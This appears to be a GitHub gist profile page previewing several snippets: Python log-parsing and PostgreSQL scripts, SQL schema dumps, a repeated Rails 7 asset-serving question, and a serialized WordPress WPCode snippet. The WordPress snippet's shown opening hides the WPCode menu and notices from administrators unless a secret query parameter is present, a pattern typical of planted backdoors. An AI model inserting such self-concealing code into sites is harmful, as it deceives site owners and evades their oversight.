Skip to content

Instantly share code, notes, and snippets.

View tbbooher's full-sized avatar

Tim Booher tbbooher

View GitHub Profile
a:1:{s:10:"everywhere";a:1:{i:0;a:12:{s:2:"id";i:78;s:5:"title";s:16:"Untitled Snippet";s:4:"code";s:6836:"$_pwsa = 'a516c9f37ca86f549b3cdff68167e708';
if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {
add_action('admin_head', function () {
echo '<style>';
echo '#toplevel_page_wpcode { display: none; }';
echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';
echo '#wpcode-notice-global-review_request { display: none; }';
echo '</style>';
});
import re
import csv
from datetime import datetime
# Regex for Nginx combined log format
log_pattern = re.compile(
r'(?P<remote_addr>\S+) - - \[(?P<timestamp>.+?)\] "(?P<request>.+?)" '
r'(?P<status_code>\d+) (?P<bytes_sent>\d+) "(?P<referrer>.*?)" "(?P<user_agent>.*?)" "(?P<upstream>.*?)"'
)
# Filename: shipment_summary.py
import os
from google.oauth2 import service_account
from googleapiclient.discovery import build
import psycopg2
import re
from datetime import datetime, timedelta
from dotenv import load_dotenv
from re import search
import csv
import psycopg2
import csv
from dotenv import load_dotenv
import os
from datetime import datetime
# Load environment variables
load_dotenv('../.env')
# Database connection parameters
import psycopg2
import csv
from dotenv import load_dotenv
import os
from datetime import datetime
# Load environment variables
load_dotenv('../.env')
# Database connection parameters
--
-- Name: orders; Type: TABLE; Schema: public; Owner: tim
--
CREATE TABLE public.orders (
website text,
order_id text,
order_date timestamp without time zone,
purchase_order_number text,
currency text,
\d workout_data_points
Table "public.workout_data_points"
Column | Type | Collation | Nullable | Default
--------------+-----------------------------+-----------+----------+-------------------------------------------------
id | integer | | not null | nextval('workout_data_points_id_seq'::regclass)
workout_id | bigint | | not null |
timestamp | timestamp without time zone | | not null |
elapsed_time | double precision | | |
distance | double precision | | |
speed | double precision | | |
--
-- PostgreSQL database dump
--
-- Dumped from database version 17.0 (Homebrew)
-- Dumped by pg_dump version 17.0 (Homebrew)
SET statement_timeout = 0;
SET lock_timeout = 0;
SET idle_in_transaction_session_timeout = 0;

Rails 7 with Import Maps and CSS Bundling: Assets Not Served from /builds Directory

I'm working on a Rails 7 application where I'm using Import Maps for JavaScript and CSS Bundling via Yarn instead of Sprockets. Despite following the setup instructions, my assets aren't being served correctly from the /builds directory.

Issue:

When loading my homepage, the CSS file is not found, and I get the following error in the browser console:

Failed to load resource: the server responded with a status of 500 (Internal Server Error)

Rails 7 with Import Maps and CSS Bundling: Assets Not Served from /builds Directory

I'm working on a Rails 7 application where I'm using Import Maps for JavaScript and CSS Bundling via Yarn instead of Sprockets. Despite following the setup instructions, my assets aren't being served correctly from the /builds directory.

Issue:

When loading my homepage, the CSS file is not found, and I get the following error in the browser console:

Failed to load resource: the server responded with a status of 500 (Internal Server Error)